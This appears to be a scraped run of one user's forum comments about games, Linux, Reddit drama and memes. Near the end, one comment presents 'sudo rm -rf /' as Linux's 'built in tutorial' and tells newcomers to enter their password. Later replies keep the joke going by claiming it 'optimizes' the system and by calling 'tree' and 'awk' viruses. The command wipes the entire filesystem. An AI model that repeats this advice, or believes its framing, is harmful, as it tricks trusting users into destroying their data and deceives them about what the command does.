True, but I figure a year gives me time to see how things pan out. You need some time to find out what the community patches will be like.

Such a pathetic state of affairs.

I have a personal one year embargo on starfield for this exact reason.

Not touching it t until a year after release, waiting to see if it’s fucked or not… Bethesda, eh.

I’m entirely against changing the name because I think that the whole conversation about why is fucking asanine.

But…

If we do change it, can we change it to “Politically Correct Master Race” for a laugh? The acronym would still work… :)

Pretty much. Made perfect sense in my head at the time.

I totally see how it would be ambiguous now though.

48k ZX Spectrum.

Treasure Island Dizzy is better than all modern gaming and I’ll fight anyone who disagrees.

Yep. Laughs in FOSS would have worked way better than mine.

Thanks for the other pointers too, although I really didn’t need the mental image of windows update happening 60 times a second, thank you very much. :)

Well, maybe I’m just not good at memes (almost certainly the case tbh) but Microsoft are talking about windows switching to being a largely cloud based OS, hence their Windows 365 talk recently.

Which is horrible, obviously.

Laughs in KDE could have been any distro, more about not having to deal with the eventual clusterfuck that’s coming towards windows users…

There it is folks, someone had to explain their fucking meme. See that, that’s what a shit meme looks like. :p

Ha! Goddamnit I walked right into that, didn’t I?

Goddamn Kali and it’s wireless drivers.

Good Human.

By not mentioning the Activity Pub protocol or FOSS (and then going off on GNU shit with direct quotes from Richard Stallman) even once, this is straining the bounds of possibility.

where Spez edited comments to make the sub seem to be inciting violence, so he had an excuse to ban it

Not what happened. Spez, fuckwit though he is, actually managed to do a halfway decent trolling there.

A bunch of t_d people were slagging him off and insulting him in their comments. Spez got drunk as shit one night and edited their comments, swapping his name with Trump’s so that it made them look like a bunch of anti-trumpers. Much gnashing of teeth ensued.

Absolutely shouldn’t have done it, especially as CEO of Reddit FFS, but definitely funny as shit.

Don’t get me wrong, it’s absolutely a mark against him, but he didn’t get them banned. They thouroughly got themselves banned on their own.

No, that was the IRA and that’s all in the past, thank you very much.

Lol, I know what you mean.

Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

All good points.

That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

Upvoted.

It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.

I don’t get it, I’ve seen so many of these posts recently. Why is mine still working?!

I have a theory. Boost is limited to the OAuth threshold for requests. Hits the wall and people get limited. Some of them make posts like this ^, people quit Boost assuming that it’s dead, less users brings Boost back under the limit again, people make threads saying Boost works again, people start using Boost again, Boost hits the request wall again and people ge-

Repeat and nauseam.

So confusing.

I didn’t want to because it felt like stealing c4’s post, so I just upvoted and boosted it instead.

Valid point though, I edited the main post so that it links to their comment now.
